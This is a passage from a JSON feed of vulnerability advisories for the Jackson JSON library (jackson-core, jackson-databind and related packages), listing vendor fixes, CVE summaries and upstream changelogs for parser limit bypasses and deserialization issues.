2.17.1-tuxcare.1.","status":"published","published":"2026-10-08T18:54:58Z","modified":"2026-10-15T09:47:44.954131074Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791485784","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (4 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 4 CVEs. Fixed in 2.17.3-tuxcare.2.","status":"published","published":"2026-10-08T18:56:24Z","modified":"2026-10-15T09:47:45.014568537Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791493683","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (5 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 5 CVEs. Fixed in 2.14.2-tuxcare.3.","status":"published","published":"2026-10-08T21:08:03Z","modified":"2026-10-15T09:47:44.974502436Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1791495450","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (5 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 5 CVEs. Fixed in 2.14.1-tuxcare.2.","status":"published","published":"2026-10-08T21:37:30Z","modified":"2026-10-15T09:47:45.015099683Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1792399460","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.13.2-tuxcare.1.","status":"published","published":"2026-10-19T08:44:20Z","modified":"2026-10-19T13:30:05.756963318Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399472","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.13.4-tuxcare.1.","status":"published","published":"2026-10-19T08:44:32Z","modified":"2026-10-19T13:30:02.67147981Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428449","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.18.0-tuxcare.1.","status":"published","published":"2026-10-19T16:47:29Z","modified":"2026-10-19T19:15:07.03936984Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792431620","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (3 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 3 CVEs. Fixed in 2.16.1-tuxcare.1.","status":"published","published":"2026-10-19T17:40:20Z","modified":"2026-10-19T19:15:06.838786646Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792431627","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (5 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 5 CVEs. Fixed in 2.15.0-tuxcare.1.","status":"published","published":"2026-10-19T17:40:27Z","modified":"2026-10-19T19:15:03.983395164Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792434304","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (4 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 4 CVEs. Fixed in 2.13.3-tuxcare.1.","status":"published","published":"2026-10-19T18:25:04Z","modified":"2026-10-20T01:45:04.533274398Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1793085045","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (3 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 3 CVEs. Fixed in 2.18.4.1-tuxcare.2.","status":"published","published":"2026-10-27T07:10:45Z","modified":"2026-10-27T13:30:04.771226463Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793085177","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.20.1-tuxcare.1.","status":"published","published":"2026-10-27T07:12:57Z","modified":"2026-10-27T13:30:03.65513177Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793085261","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.15.4-tuxcare.2.","status":"published","published":"2026-10-27T07:14:21Z","modified":"2026-10-27T13:30:05.364160435Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793087308","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.13.5-tuxcare.2.","status":"published","published":"2026-10-27T07:48:28Z","modified":"2026-10-27T13:30:03.753286504Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793196284","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.15.2-tuxcare.2.","status":"published","published":"2026-10-28T14:04:44Z","modified":"2026-10-28T19:45:03.550664183Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793196558","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.15.3-tuxcare.2.","status":"published","published":"2026-10-28T14:09:18Z","modified":"2026-10-28T19:45:06.133702688Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793196650","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.14.3-tuxcare.2.","status":"published","published":"2026-10-28T14:10:50Z","modified":"2026-10-28T19:45:05.412890075Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793599822","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.21.2-tuxcare.2.","status":"published","published":"2026-11-02T07:10:23Z","modified":"2026-11-02T14:45:04.756152611Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"openSUSE-SU-2026:11638-1","title":"jackson-core-2.18.9-2.1 on GA media","description":"These are all security issues fixed in the jackson-core-2.18.9-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-29T00:00:00Z","modified":"2026-08-30T13:00:04.982815958Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:22034-1","title":"Security update for jackson-annotations, jackson-core, jackson-databind","description":"This update for jackson-annotations, jackson-core, jackson-databind fixes the following issues:\n\n- CVE-2026-18401: Number Length Constraint Bypass in Async Parser Can Lead to Potential Processing Time Issues\n  (bsc#1273856).\n- CVE-2026-19032: deserializer for `java.nio.file.Path` resolves attacker-supplied URIs without restricting the URI\n  scheme (bsc#1277883).\n- CVE-2026-68494: Async parser maxNumberLength bypass via chunked digit accumulation (bsc#1273857).\n- CVE-2026-68497: An unauthenticated attacker can therefore submit a single request of a few megabytes (bsc#1280125).\n- CVE-2026-68498: Enforce maxNameLength incrementally in ReaderBasedJsonParser (bsc#1282641).\n- CVE-2026-83557: incomplete `PolymorphicTypeValidator` denylist allows for arbitrary `Comparable` deserialization\n  (bsc#1278008).\n- CVE-2026-89407: Optimize NumberInput.looksLikeValidNumber (bsc#1282645).\n- CVE-2026-89425: `UTF8DataInputJsonParser._reportInvalidToken()`lacks `maxErrorTokenLength` limit, which allows for\n  unbounded `StringBuilder` growth and can lead to a DoS when malformed tokens are processed (bsc#1282505).\n- CVE-2026-91776: `TypeDeserializerBase._findDeserializer()` caches the resolved deserializer under the raw, attacker-\n  supplied type ID, which can lead to unbounded cache growth under certain configurations (bsc#1282491).\n- CVE-2026-91777: forward-reference completion for `@JsonIdentityInfo` object IDs performs a linear scan of the pending-\n  reference accumulator for every resolved ID, which can lead to quadratic CPU work during deserialization\n  (bsc#1282492).\n\nChanges for jackson-annotations:\n\n- Update to 2.18.11\n\nChanges for jackson-core:\n\n- Update to 2.18.11\n * #1649: Optimize NumberInput.looksLikeValidNumber (bsc#1282645,\n CVE-2026-89407)\n * #1698: UTF8DataInputJsonParser does not honor\n maxErrorTokenLength when reporting an unrecognized token\n (bsc#1282505, CVE-2026-89425)\n * #1642: Fix maxDocumentLength bypass in async parser\n single-feedInput() case [GHSA-2c4j-63jj-9fqr]\n * #1643: Enforce maxNameLength incrementally in\n ReaderBasedJsonParser (bsc#1282641, CVE-2026-68498)\n of async parser (bsc#1273857, CVE-2026-68494)\n non-blocking (async) parser (bsc#1273856, CVE-2026-18401)\n\nChanges for jackson-databind:\n\n- Update to 2.18.11\n * #6185: Bracket unresolved IPv6 host name in InetSocketAddress\n serialization\n * #6203: Prevent unbounded growth of type id cache in\n TypeDeserializer (bsc#1282491, CVE-2026-91776)\n * #6204: Avoid quadratic forward-reference resolution in\n Collection/Map deserializers (bsc#1282492, CVE-2026-91777)\n * #6099: Resolve classes without initialization in\n TypeFactory.findClass()\n * #6116: Reject non-ASCII digits in InetAddress literal validation\n * #6127: Add StreamReadConstraints number len constraint to\n javax.xml.datatype.XMLGregorianCalendar and\n javax.xml.datatype.Duration (bsc#1280125, CVE-2026-68497)\n * #6129: Limit the supported URL schemes for java.nio.file.Path\n deserialization (bsc#1277883, CVE-2026-19032)\n * #6156: Add java.lang.Comparable in set of unsafe polymorphic\n base types (bsc#1278008, CVE-2026-83557)\n * #6165: Apply number length limits to BigDecimal/BigInteger/\n /Double/Float Map keys\n","status":"published","published":"2026-10-06T14:10:27Z","modified":"2026-10-09T17:23:14.417272976Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-MAVEN-CVE-2026-68494","title":"CVE-2026-68494 in com.fasterxml.jackson.core:jackson-core - Patched by Root","description":"Root has patched CVE-2026-68494 in the com.fasterxml.jackson.core:jackson-core package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-11-05T08:30:29Z","modified":"2026-11-05T09:15:09.241043869Z","updated_at":"2026-11-05T13:31:49.170436Z"},{"id":"ROOT-APP-MAVEN-GHSA-642r-3gj9-2pj5","title":"GHSA-642r-3gj9-2pj5 in tools.jackson.core:jackson-core - Patched by Root","description":"Root has patched GHSA-642r-3gj9-2pj5 in the tools.jackson.core:jackson-core package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-10-13T10:16:16Z","modified":"2026-10-13T11:15:03.152276572Z","updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"ROOT-APP-MAVEN-GHSA-r7wm-3cxj-wff9","title":"GHSA-r7wm-3cxj-wff9 in com.fasterxml.jackson.core:jackson-core - Patched by Root","description":"Root has patched GHSA-r7wm-3cxj-wff9 in the com.fasterxml.jackson.core:jackson-core package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-11-05T08:30:29Z","modified":"2026-11-05T09:15:09.201758814Z","updated_at":"2026-11-05T13:31:49.170436Z"},{"id":"SUSE-SU-2026:24149-1","title":"Security update for jackson-annotations, jackson-core, jackson-databind","description":"This update for jackson-annotations, jackson-core, jackson-databind fixes the following issues:\n\n- CVE-2026-18401: Number Length Constraint Bypass in Async Parser Can Lead to Potential Processing Time Issues\n  (bsc#1273856).\n- CVE-2026-19032: deserializer for `java.nio.file.Path` resolves attacker-supplied URIs without restricting the URI\n  scheme (bsc#1277883).\n- CVE-2026-68494: Async parser maxNumberLength bypass via chunked digit accumulation (bsc#1273857).\n- CVE-2026-68497: An unauthenticated attacker can therefore submit a single request of a few megabytes (bsc#1280125).\n- CVE-2026-68498: Enforce maxNameLength incrementally in ReaderBasedJsonParser (bsc#1282641).\n- CVE-2026-83557: incomplete `PolymorphicTypeValidator` denylist allows for arbitrary `Comparable` deserialization\n  (bsc#1278008).\n- CVE-2026-89407: Optimize NumberInput.looksLikeValidNumber (bsc#1282645).\n- CVE-2026-89425: `UTF8DataInputJsonParser._reportInvalidToken()`lacks `maxErrorTokenLength` limit, which allows for\n  unbounded `StringBuilder` growth and can lead to a DoS when malformed tokens are processed (bsc#1282505).\n- CVE-2026-91776: `TypeDeserializerBase._findDeserializer()` caches the resolved deserializer under the raw, attacker-\n  supplied type ID, which can lead to unbounded cache growth under certain configurations (bsc#1282491).\n- CVE-2026-91777: forward-reference completion for `@JsonIdentityInfo` object IDs performs a linear scan of the pending-\n  reference accumulator for every resolved ID, which can lead to quadratic CPU work during deserialization\n  (bsc#1282492).\n\nChanges for jackson-annotations:\n\n- Update to 2.18.11\n\nChanges for jackson-core:\n\n- Update to 2.18.11\n * #1649: Optimize NumberInput.looksLikeValidNumber (bsc#1282645,\n CVE-2026-89407)\n * #1698: UTF8DataInputJsonParser does not honor\n maxErrorTokenLength when reporting an unrecognized token\n (bsc#1282505, CVE-2026-89425)\n * #1642: Fix maxDocumentLength bypass in async parser\n single-feedInput() case [GHSA-2c4j-63jj-9fqr]\n * #1643: Enforce maxNameLength incrementally in\n ReaderBasedJsonParser (bsc#1282641, CVE-2026-68498)\n of async parser (bsc#1273857, CVE-2026-68494)\n non-blocking (async) parser (bsc#1273856, CVE-2026-18401)\n\nChanges for jackson-databind:\n\n- Update to 2.18.11\n * #6185: Bracket unresolved IPv6 host name in InetSocketAddress\n serialization\n * #6203: Prevent unbounded growth of type id cache in\n TypeDeserializer (bsc#1282491, CVE-2026-91776)\n * #6204: Avoid quadratic forward-reference resolution in\n Collection/Map deserializers (bsc#1282492, CVE-2026-91777)\n * #6099: Resolve classes without initialization in\n TypeFactory.findClass()\n * #6116: Reject non-ASCII digits in InetAddress literal validation\n * #6127: Add StreamReadConstraints number len constraint to\n javax.xml.datatype.XMLGregorianCalendar and\n javax.xml.datatype.Duration (bsc#1280125, CVE-2026-68497)\n * #6129: Limit the supported URL schemes for java.nio.file.Path\n deserialization (bsc#1277883, CVE-2026-19032)\n * #6156: Add java.lang.Comparable in set of unsafe polymorphic\n base types (bsc#1278008, CVE-2026-83557)\n * #6165: Apply number length limits to BigDecimal/BigInteger/\n /Double/Float Map keys\n","status":"published","published":"2026-10-06T14:12:21Z","modified":"2026-10-16T17:23:10.946637755Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:4394-1","title":"Security update for jackson-annotations, jackson-bom, jackson-core, jackson-databind, jackson-dataformat-xml, jackson-dataformats-binary, jackson-modules-base","description":"This update for jackson-annotations, jackson-bom, jackson-core, jackson-databind, jackson-dataformat-xml, jackson-dataformats-binary, jackson-modules-base fixes the following issues:\n\n- CVE-2026-18401: Number Length Constraint Bypass in Async Parser Can Lead to Potential Processing Time Issues\n  (bsc#1273856).\n- CVE-2026-68494: Async parser maxNumberLength bypass via chunked digit accumulation (bsc#1273857).\n- CVE-2026-68495: Ensure maxNameLength limit enforced for CBOR parser (bsc#1282639).\n- CVE-2026-68496: Ensure maxNameLength limit enforced for Smile parser (bsc#1282640).\n- CVE-2026-68498: Enforce maxNameLength incrementally in ReaderBasedJsonParser (bsc#1282641).\n- CVE-2026-89407: Optimize NumberInput.looksLikeValidNumber (bsc#1282645).\n- CVE-2026-89425: `UTF8DataInputJsonParser._reportInvalidToken()`lacks `maxErrorTokenLength` limit, which allows for\n  unbounded `StringBuilder` growth and can lead to a DoS when malformed tokens are processed (bsc#1282505).\n\nChanges for jackson-annotations:\n\n- Update to 2.18.11\n\nChanges for jackson-bom:\n\n- Update to 2.18.11\n\nChanges for jackson-core:\n  \n- Update to 2.18.11\n * #1649: Optimize NumberInput.looksLikeValidNumber (bsc#1282645,\n CVE-2026-89407)\n * #1698: UTF8DataInputJsonParser does not honor\n maxErrorTokenLength when reporting an unrecognized token\n (bsc#1282505, CVE-2026-89425)\n * #1642: Fix maxDocumentLength bypass in async parser\n single-feedInput() case [GHSA-2c4j-63jj-9fqr]\n * #1643: Enforce maxNameLength incrementally in\n ReaderBasedJsonParser (bsc#1282641, CVE-2026-68498)\n of async parser (bsc#1273857, CVE-2026-68494)\n non-blocking (async) parser (bsc#1273856, CVE-2026-18401)\n\nChanges for jackson-databind:\n\n- Update to 2.18.11\n * #6185: Bracket unresolved IPv6 host name in InetSocketAddress\n serialization\n * #6203: Prevent unbounded growth of type id cache in\n TypeDeserializer (bsc#1282491, CVE-2026-91776)\n * #6204: Avoid quadratic forward-reference resolution in\n Collection/Map deserializers (bsc#1282492, CVE-2026-91777)\n * #6099: Resolve classes without initialization in\n TypeFactory.findClass()\n * #6116: Reject non-ASCII digits in InetAddress literal validation\n * #6127: Add StreamReadConstraints number len constraint to\n javax.xml.datatype.XMLGregorianCalendar and\n javax.xml.datatype.Duration (bsc#1280125, CVE-2026-68497)\n * #6129: Limit the supported URL schemes for java.nio.file.Path\n deserialization (bsc#1277883, CVE-2026-19032)\n * #6156: Add java.lang.Comparable in set of unsafe polymorphic\n base types (bsc#1278008, CVE-2026-83557)\n * #6165: Apply number length limits to BigDecimal/BigInteger/\n /Double/Float Map keys\n\nChanges for jackson-dataformat-xml:\n\n- Update to 2.18.11\n * Fix build to avoid past-JDK-8 bytecode generation\n * #891: Enforce StreamReadConstraints.maxNestingDepth in\n FromXmlParser\n\nChanges for jackson-dataformats-binary:\n\n- Update to 2.18.11\n * #783: (protobuf) Support StreamReadConstraints.maxDocumentLength\n in ProtobufParser\n * #785: (avro) Support StreamReadConstraints.maxDocumentLength and\n maxTokenCount in Avro parser\n * #803: (ion) Support StreamReadConstraints.maxNestingDepth in Ion\n parser (partial fix for #358)\n * #805: (ion) Support StreamReadConstraints.maxDocumentLength in\n Ion parser (partial fix for #358)\n * #725: (cbor) Ensure maxNameLength limit enforced for CBOR parser\n (bsc#1282639, CVE-2026-68495)\n * #726: (smile) Ensure maxNameLength limit enforced for Smile\n parser (bsc#1282640, CVE-2026-68496)\n * #727: (cbor) CBORParser.nextFieldName(SerializableString)\n confuses 5-bit length marker 23 with 24 ('1-byte length suffix\n follows')\n * #728: (cbor) CBORParser.nextFieldName(SerializableString)\n consumes Object entry slot twice on fast-path miss, truncating\n definite-length Objects\n * #733: (cbor) Long `String`s not added to 'stringref' reference\n table, breaking following references\n * #735: (cbor) 'stringref' property-name paths pass 5-bit length\n marker instead of actual length to shouldReferenceString()\n * #736: (cbor) Long Object property names added to 'stringref'\n reference table twice\n\nChanges for jackson-modules-base:\n\n- Update to 2.18.11\n","status":"published","published":"2026-09-29T11:53:06Z","modified":"2026-09-30T12:00:04.420797068Z","updated_at":"2026-11-02T15:54:05.838224Z"}]}}